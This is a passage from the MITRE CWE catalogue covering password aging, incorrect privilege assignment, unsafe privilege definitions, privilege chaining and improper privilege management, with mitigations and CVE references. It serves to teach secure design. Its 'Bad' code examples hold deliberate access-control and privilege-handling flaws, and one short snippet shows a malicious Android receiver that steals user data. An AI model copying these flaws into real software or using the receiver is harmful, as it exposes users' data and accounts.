Note that while password aging was once considered an important security feature, it has since fallen out of favor by many, because it is not as effective against modern threats compared to other mechanisms such as slow hashes. In addition, forcing frequent changes can unintentionally encourage users to select less-secure passwords. However, password aging is still in use due to factors such as compliance requirements, e.g., Payment Card Industry Data Security Standard (PCI DSS).

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1390	Weak Authentication	2087

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1010	Authenticate Actors	2217

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		255	Credentials Management Errors	2107

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>As passwords age, the probability that they are compromised grows.</i>	

## Potential Mitigations

### Phase: Architecture and Design

Ensure that password aging is limited so that there is a defined maximum age for passwords. Note that if the expiration window is too short, it can cause users to generate poor or predictable passwords.

### Phase: Architecture and Design

Ensure that the user is notified several times leading up to the password expiration.

### Phase: Architecture and Design

Create mechanisms to prevent users from reusing passwords or creating similar passwords.

### Phase: Implementation

Developers might disable clipboard paste operations into password fields as a way to discourage users from pasting a password into a clipboard. However, this might encourage users to choose less-secure passwords that are easier to type, and it can reduce the usability of password managers [REF-1294].

*Effectiveness = Discouraged Common Practice*

## Demonstrative Examples

### Example 1:

A system requires the changing of passwords every five years.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	951	SFP Secondary Cluster: Insecure Authentication Policy	888	2189

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Allowing password aging

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
16	Dictionary-based Password Attack
49	Password Brute Forcing
55	Rainbow Table Password Cracking
70	Try Common or Default Usernames and Passwords
509	Kerberoasting
555	Remote Services with Stolen Credentials
560	Use of Known Domain Credentials
561	Windows Admin Shares with Stolen Credentials
565	Password Spraying
600	Credential Stuffing
652	Use of Known Kerberos Credentials
653	Use of Known Operating System Credentials

## References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-1305]Kurt Seifried and other members of the CWE-Research mailing list. "Discussion Thread: Time to retire CWE-262 and CWE-263". 2021 December 3. < <https://www.mail-archive.com/cwe-research-list@mitre.org/msg00018.html> >.2022-10-11.

[REF-1289]Lance Spitzner. "Time for Password Expiration to Die". 2021 June 7. < <https://www.sans.org/blog/time-for-password-expiration-to-die/> >.

[REF-1290]Lorrie Cranor. "Time to rethink mandatory password changes". 2016 March 2. < >.

[REF-1291]Eugene Spafford. "Security Myths and Passwords". 2006 April 9. < <https://www.cerias.purdue.edu/site/blog/post/password-change-myths/> >.

[REF-1292]National Cyber Security Centre. "Password administration for system owners". 2018 November 9. < <https://www.ncsc.gov.uk/collection/passwords/updating-your-approach> >.

[REF-1293]NIST. "Digital Identity Guidelines: Authentication and Lifecycle Management(SP 800-63B)". 2017 June. < <https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-63b.pdf> >.

[REF-1294]National Cyber Security Centre. "Let them paste passwords". 2017 January 2. < <https://www.ncsc.gov.uk/blog-post/let-them-paste-passwords> >.

## CWE-266: Incorrect Privilege Assignment

**Weakness ID** : 266

**Structure** : Simple

**Abstraction** : Base







### Description

A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		269	Improper Privilege Management	613
ParentOf		9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	7
ParentOf		520	.NET Misconfiguration: Use of Impersonation	1154
ParentOf		556	ASP.NET Misconfiguration: Use of Identity Impersonation	1198
ParentOf		1022	Use of Web Link to Untrusted Target with window.opener Access	1729
CanAlsoBe		286	Incorrect User Management	656

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		265	Privilege Issues	2109

### Weakness Ordinalities

**Resultant** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

Scope	Impact	Likelihood
	<i>A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.</i>	

## Potential Mitigations

### Phase: Architecture and Design

### Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

### Phase: Architecture and Design

### Phase: Operation

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

## Demonstrative Examples

### Example 1:

The following example demonstrates the weakness.

*Example Language: C*

*(Bad)*

```
seteuid(0);  
/* do some stuff */  
seteuid(getuid());
```

### Example 2:

The following example demonstrates the weakness.

*Example Language: Java*

*(Bad)*

```
AccessController.doPrivileged(new PrivilegedAction() {  
    public Object run() {  
        // privileged code goes here, for example:  
        System.loadLibrary("awt");  
        return null;  
        // nothing to return  
    }  
}
```

### Example 3:

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

*Example Language: Java*

*(Bad)*

```
Intent intent = new Intent();  
intent.setAction("com.example.BackupUserData");  
intent.setData(file_uri);  
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);  
sendBroadcast(intent);
```



Example Language: Java

(Attack)

```
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Uri userData = intent.getData();
        stealUserData(userData);
    }
}
```

Any malicious application can register to receive this intent. Because of the FLAG\_GRANT\_READ\_URI\_PERMISSION included with the intent, the malicious receiver code can read the user's data.

### Observed Examples

Reference	Description
<b>CVE-1999-1193</b>	untrusted user placed in unix "wheel" group <a href="https://www.cve.org/CVERecord?id=CVE-1999-1193">https://www.cve.org/CVERecord?id=CVE-1999-1193</a>
<b>CVE-2005-2741</b>	Product allows users to grant themselves certain rights that can be used to escalate privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2741">https://www.cve.org/CVERecord?id=CVE-2005-2741</a>
<b>CVE-2005-2496</b>	Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2496">https://www.cve.org/CVERecord?id=CVE-2005-2496</a>
<b>CVE-2004-0274</b>	Product mistakenly assigns a particular status to an entity, leading to increased privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0274">https://www.cve.org/CVERecord?id=CVE-2004-0274</a>

### Affected Resources

- System Process

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf	<b>C</b>	859	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 16 - Platform Security (SEC)	844	2162
MemberOf	<b>V</b>	884	CWE Cross-section	884	2327
MemberOf	<b>C</b>	901	SFP Primary Cluster: Privilege	888	2179
MemberOf	<b>C</b>	1149	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC)	1133	2245
MemberOf	<b>C</b>	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incorrect Privilege Assignment
The CERT Oracle Secure Coding Standard for Java (2011)	SEC00-J		Do not allow privileged blocks to leak sensitive information across a trust boundary
The CERT Oracle Secure Coding Standard for Java (2011)	SEC01-J		Do not allow tainted variables in privileged blocks

## References

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.

## CWE-267: Privilege Defined With Unsafe Actions

**Weakness ID** : 267  
**Structure** : Simple  
**Abstraction** : Base

### Description

A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		269	Improper Privilege Management	613
ParentOf		623	Unsafe ActiveX Control Marked Safe For Scripting	1307

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		265	Privilege Issues	2109

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Phase: Architecture and Design**

**Phase: Operation**

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

## Demonstrative Examples

### Example 1:

This code intends to allow only Administrators to print debug information about a system.

Example Language: Java

(Bad)

```
public enum Roles {
    ADMIN,USER,GUEST
}
public void printDebugInfo(User requestingUser){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                System.out.println(currentDebugState());
                break;
        }
    }
    else{
        System.out.println("You must be logged in to perform this command");
    }
}
```

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

## Observed Examples

Reference	Description
<b>CVE-2002-1981</b>	Roles have access to dangerous procedures (Accessible entities). <a href="https://www.cve.org/CVERecord?id=CVE-2002-1981">https://www.cve.org/CVERecord?id=CVE-2002-1981</a>
<b>CVE-2002-1671</b>	Untrusted object/method gets access to clipboard (Accessible entities). <a href="https://www.cve.org/CVERecord?id=CVE-2002-1671">https://www.cve.org/CVERecord?id=CVE-2002-1671</a>
<b>CVE-2004-2204</b>	Gain privileges using functions/tags that should be restricted (Accessible entities). <a href="https://www.cve.org/CVERecord?id=CVE-2004-2204">https://www.cve.org/CVERecord?id=CVE-2004-2204</a>
<b>CVE-2000-0315</b>	Traceroute program allows unprivileged users to modify source address of packet (Accessible entities). <a href="https://www.cve.org/CVERecord?id=CVE-2000-0315">https://www.cve.org/CVERecord?id=CVE-2000-0315</a>
<b>CVE-2004-0380</b>	Bypass domain restrictions using a particular file that references unsafe URI schemes (Accessible entities). <a href="https://www.cve.org/CVERecord?id=CVE-2004-0380">https://www.cve.org/CVERecord?id=CVE-2004-0380</a>
<b>CVE-2002-1154</b>	Script does not restrict access to an update command, leading to resultant disk consumption and filled error logs (Accessible entities). <a href="https://www.cve.org/CVERecord?id=CVE-2002-1154">https://www.cve.org/CVERecord?id=CVE-2002-1154</a>
<b>CVE-2002-1145</b>	"public" database user can use stored procedure to modify data controlled by the database owner (Unsafe privileged actions). <a href="https://www.cve.org/CVERecord?id=CVE-2002-1145">https://www.cve.org/CVERecord?id=CVE-2002-1145</a>

Reference	Description
<b>CVE-2000-0506</b>	User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions). <a href="https://www.cve.org/CVERecord?id=CVE-2000-0506">https://www.cve.org/CVERecord?id=CVE-2000-0506</a>
<b>CVE-2002-2042</b>	Allows attachment to and modification of privileged processes (Unsafe privileged actions). <a href="https://www.cve.org/CVERecord?id=CVE-2002-2042">https://www.cve.org/CVERecord?id=CVE-2002-2042</a>
<b>CVE-2000-1212</b>	User with privilege can edit raw underlying object using unprotected method (Unsafe privileged actions). <a href="https://www.cve.org/CVERecord?id=CVE-2000-1212">https://www.cve.org/CVERecord?id=CVE-2000-1212</a>
<b>CVE-2005-1742</b>	Inappropriate actions allowed by a particular role(Unsafe privileged actions). <a href="https://www.cve.org/CVERecord?id=CVE-2005-1742">https://www.cve.org/CVERecord?id=CVE-2005-1742</a>
<b>CVE-2001-1480</b>	Untrusted entity allowed to access the system clipboard (Unsafe privileged actions). <a href="https://www.cve.org/CVERecord?id=CVE-2001-1480">https://www.cve.org/CVERecord?id=CVE-2001-1480</a>
<b>CVE-2001-1551</b>	Extra Linux capability allows bypass of system-specified restriction (Unsafe privileged actions). <a href="https://www.cve.org/CVERecord?id=CVE-2001-1551">https://www.cve.org/CVERecord?id=CVE-2001-1551</a>
<b>CVE-2001-1166</b>	User with debugging rights can read entire process (Unsafe privileged actions). <a href="https://www.cve.org/CVERecord?id=CVE-2001-1166">https://www.cve.org/CVERecord?id=CVE-2001-1166</a>
<b>CVE-2005-1816</b>	Non-root admins can add themselves or others to the root admin group (Unsafe privileged actions). <a href="https://www.cve.org/CVERecord?id=CVE-2005-1816">https://www.cve.org/CVERecord?id=CVE-2005-1816</a>
<b>CVE-2005-2173</b>	Users can change certain properties of objects to perform otherwise unauthorized actions (Unsafe privileged actions). <a href="https://www.cve.org/CVERecord?id=CVE-2005-2173">https://www.cve.org/CVERecord?id=CVE-2005-2173</a>
<b>CVE-2005-2027</b>	Certain debugging commands not restricted to just the administrator, allowing registry modification and infoleak (Unsafe privileged actions). <a href="https://www.cve.org/CVERecord?id=CVE-2005-2027">https://www.cve.org/CVERecord?id=CVE-2005-2027</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	901	SFP Primary Cluster: Privilege	888	2179

### Notes

#### Maintenance

Note: there are 2 separate sub-categories here: - privilege incorrectly allows entities to perform certain actions - object is incorrectly accessible to entities with a given privilege

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unsafe Privilege

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
58	Restful Privilege Elevation
634	Probe Audio and Video Peripherals
637	Collect Data from Clipboard
643	Identify Shared Files/Directories on System
648	Collect Data from Screen Capture

## References

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.

## CWE-268: Privilege Chaining

**Weakness ID** : 268  
**Structure** : Simple  
**Abstraction** : Base

### Description

Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		269	Improper Privilege Management	613

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		265	Privilege Issues	2109

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>A user can be given or gain access rights of another user. This can give the user unauthorized access to sensitive information including the access information of another user.</i>	

### Potential Mitigations

**Phase: Architecture and Design**

*Strategy = Separation of Privilege*

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

### Phase: Architecture and Design

#### Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

### Phase: Architecture and Design

#### Phase: Operation

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

### Demonstrative Examples

#### Example 1:

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

*Example Language: Java*

*(Bad)*

```
public enum Roles {
    ADMIN, OPERATOR, USER, GUEST
}
public void resetPassword(User requestingUser, User user, String password) {
    if (isAuthenticated(requestingUser)) {
        switch (requestingUser.role) {
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            case USER:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                setPassword(user, password);
                break;
        }
    }
    else {
        System.out.println("You must be logged in to perform this command");
    }
}
```

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

### Observed Examples

Reference	Description
<b>CVE-2005-1736</b>	Chaining of user rights. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1736">https://www.cve.org/CVERecord?id=CVE-2005-1736</a>
<b>CVE-2002-1772</b>	Gain certain rights via privilege chaining in alternate channel. <a href="https://www.cve.org/CVERecord?id=CVE-2002-1772">https://www.cve.org/CVERecord?id=CVE-2002-1772</a>
<b>CVE-2005-1973</b>	Application is allowed to assign extra permissions to itself. <a href="https://www.cve.org/CVERecord?id=CVE-2005-1973">https://www.cve.org/CVERecord?id=CVE-2005-1973</a>
<b>CVE-2003-0640</b>	"operator" user can overwrite usernames and passwords to gain admin privileges.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2003-0640">https://www.cve.org/CVERecord?id=CVE-2003-0640</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	723	OWASP Top Ten 2004 Category A2 - Broken Access Control	711	2128
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	901	SFP Primary Cluster: Privilege	888	2179

### Notes

#### Relationship

There is some conceptual overlap with Unsafe Privilege.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Privilege Chaining

### References

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.

## CWE-269: Improper Privilege Management

**Weakness ID** : 269

**Structure** : Simple

**Abstraction** : Class

### Description

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644
ParentOf	B	250	Execution with Unnecessary Privileges	568
ParentOf	B	266	Incorrect Privilege Assignment	605
ParentOf	B	267	Privilege Defined With Unsafe Actions	608
ParentOf	B	268	Privilege Chaining	611
ParentOf	B	270	Privilege Context Switching Error	618
ParentOf	C	271	Privilege Dropping / Lowering Errors	620
ParentOf	B	274	Improper Handling of Insufficient Privileges	629
ParentOf	B	648	Incorrect Use of Privileged APIs	1344

*Relevant to the view "Architectural Concepts" (CWE-1008)*



Nature	Type	ID	Name	Page
MemberOf		1011	Authorize Actors	2218

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity	

### Potential Mitigations

#### Phase: Architecture and Design

#### Phase: Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Follow the principle of least privilege when assigning access rights to entities in a software system.

#### Phase: Architecture and Design

*Strategy = Separation of Privilege*

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

### Demonstrative Examples

#### Example 1:

This code temporarily raises the program's privileges to allow creation of a new user folder.

*Example Language: Python*

*(Bad)*

```
def makeNewUserDir(username):
    if invalidUsername(username):
        #avoid CWE-22 and CWE-78
        print('Usernames cannot contain invalid characters')
        return False
    try:
        raisePrivileges()
        os.mkdir('/home/' + username)
        lowerPrivileges()
    except OSError:
        print('Unable to create new user directory for user:' + username)
        return False
    return True
```

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to `os.mkdir()` throws an exception, the call to `lowerPrivileges()` will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

**Example 2:**

The following example demonstrates the weakness.

*Example Language: C*

*(Bad)*

```
seteuid(0);
/* do some stuff */
seteuid(getuid());
```

**Example 3:**

The following example demonstrates the weakness.

*Example Language: Java*

*(Bad)*

```
AccessController.doPrivileged(new PrivilegedAction() {
    public Object run() {
        // privileged code goes here, for example:
        System.loadLibrary("awt");
        return null;
        // nothing to return
    }
})
```

**Example 4:**

This code intends to allow only Administrators to print debug information about a system.

*Example Language: Java*

*(Bad)*

```
public enum Roles {
    ADMIN,USER,GUEST
}
public void printDebugInfo(User requestingUser){
    if(isAuthenticated(requestingUser)){
        switch(requestingUser.role){
            case GUEST:
                System.out.println("You are not authorized to perform this command");
                break;
            default:
                System.out.println(currentDebugState());
                break;
        }
    }
    else{
        System.out.println("You must be logged in to perform this command");
    }
}
```

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

**Example 5:**

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

*Example Language: Java*

*(Bad)*

```
public enum Roles {
    ADMIN,OPERATOR,USER,GUEST
}
public void resetPassword(User requestingUser, User user, String password ){
```

```

if(isAuthenticated(requestingUser)){
  switch(requestingUser.role){
    case GUEST:
      System.out.println("You are not authorized to perform this command");
      break;
    case USER:
      System.out.println("You are not authorized to perform this command");
      break;
    default:
      setPassword(user,password);
      break;
  }
}
else{
  System.out.println("You must be logged in to perform this command");
}
}

```

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

### Observed Examples

Reference	Description
<b>CVE-2001-1555</b>	Terminal privileges are not reset when a user logs out. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1555">https://www.cve.org/CVERecord?id=CVE-2001-1555</a>
<b>CVE-2001-1514</b>	Does not properly pass security context to child processes in certain cases, allows privilege escalation. <a href="https://www.cve.org/CVERecord?id=CVE-2001-1514">https://www.cve.org/CVERecord?id=CVE-2001-1514</a>
<b>CVE-2001-0128</b>	Does not properly compute roles. <a href="https://www.cve.org/CVERecord?id=CVE-2001-0128">https://www.cve.org/CVERecord?id=CVE-2001-0128</a>
<b>CVE-1999-1193</b>	untrusted user placed in unix "wheel" group <a href="https://www.cve.org/CVERecord?id=CVE-1999-1193">https://www.cve.org/CVERecord?id=CVE-1999-1193</a>
<b>CVE-2005-2741</b>	Product allows users to grant themselves certain rights that can be used to escalate privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2741">https://www.cve.org/CVERecord?id=CVE-2005-2741</a>
<b>CVE-2005-2496</b>	Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2496">https://www.cve.org/CVERecord?id=CVE-2005-2496</a>
<b>CVE-2004-0274</b>	Product mistakenly assigns a particular status to an entity, leading to increased privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0274">https://www.cve.org/CVERecord?id=CVE-2004-0274</a>
<b>CVE-2007-4217</b>	FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients. <a href="https://www.cve.org/CVERecord?id=CVE-2007-4217">https://www.cve.org/CVERecord?id=CVE-2007-4217</a>
<b>CVE-2007-5159</b>	OS incorrectly installs a program with setuid privileges, allowing users to gain privileges. <a href="https://www.cve.org/CVERecord?id=CVE-2007-5159">https://www.cve.org/CVERecord?id=CVE-2007-5159</a>
<b>CVE-2008-4638</b>	Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209). <a href="https://www.cve.org/CVERecord?id=CVE-2008-4638">https://www.cve.org/CVERecord?id=CVE-2008-4638</a>
<b>CVE-2007-3931</b>	Installation script installs some programs as setuid when they shouldn't be. <a href="https://www.cve.org/CVERecord?id=CVE-2007-3931">https://www.cve.org/CVERecord?id=CVE-2007-3931</a>
<b>CVE-2002-1981</b>	Roles have access to dangerous procedures (Accessible entities). <a href="https://www.cve.org/CVERecord?id=CVE-2002-1981">https://www.cve.org/CVERecord?id=CVE-2002-1981</a>
<b>CVE-2002-1671</b>	Untrusted object/method gets access to clipboard (Accessible entities).

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2002-1671">https://www.cve.org/CVERecord?id=CVE-2002-1671</a>
<b>CVE-2000-0315</b>	Traceroute program allows unprivileged users to modify source address of packet (Accessible entities). <a href="https://www.cve.org/CVERecord?id=CVE-2000-0315">https://www.cve.org/CVERecord?id=CVE-2000-0315</a>
<b>CVE-2000-0506</b>	User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions). <a href="https://www.cve.org/CVERecord?id=CVE-2000-0506">https://www.cve.org/CVERecord?id=CVE-2000-0506</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	901	SFP Primary Cluster: Privilege	888	2179
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	C	1348	OWASP Top Ten 2021 Category A04:2021 - Insecure Design	1344	2284
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	C	1373	ICS Engineering (Construction/Deployment): Trust Model Problems	1358	2301

### Notes

#### Mapping

Use for Mapping: Discouraged (this CWE ID should not be used to map to real-world vulnerabilities). Rationale: CWE-269 is commonly misused. It can be conflated with "privilege escalation," which is a technical impact that is listed in many low-information vulnerability reports [REF-1287]. It is not useful for trend analysis. Comments: if an error or mistake allows privilege escalation, then use the CWE ID for that mistake. Avoid using CWE-269 when only phrases such as "privilege escalation" or "gain privileges" are available, as these indicate technical impact of the vulnerability - not the root cause weakness. If the root cause seems to be directly related to privileges, then examine the children of CWE-269 for additional hints, such as Execution with Unnecessary Privileges (CWE-250) or Incorrect Privilege Assignment (CWE-266).

#### Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Privilege Management Error

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
58	Restful Privilege Elevation
122	Privilege Abuse
233	Privilege Escalation

### References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < [https://cwe.mitre.org/top25/archive/2022/2022\\_cwe\\_top25\\_supplemental.html#problematicMappingDetails](https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails) >.

## CWE-270: Privilege Context Switching Error

**Weakness ID** : 270

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not properly manage privileges while it is switching between different contexts that have different privileges or spheres of control.

### Relationships

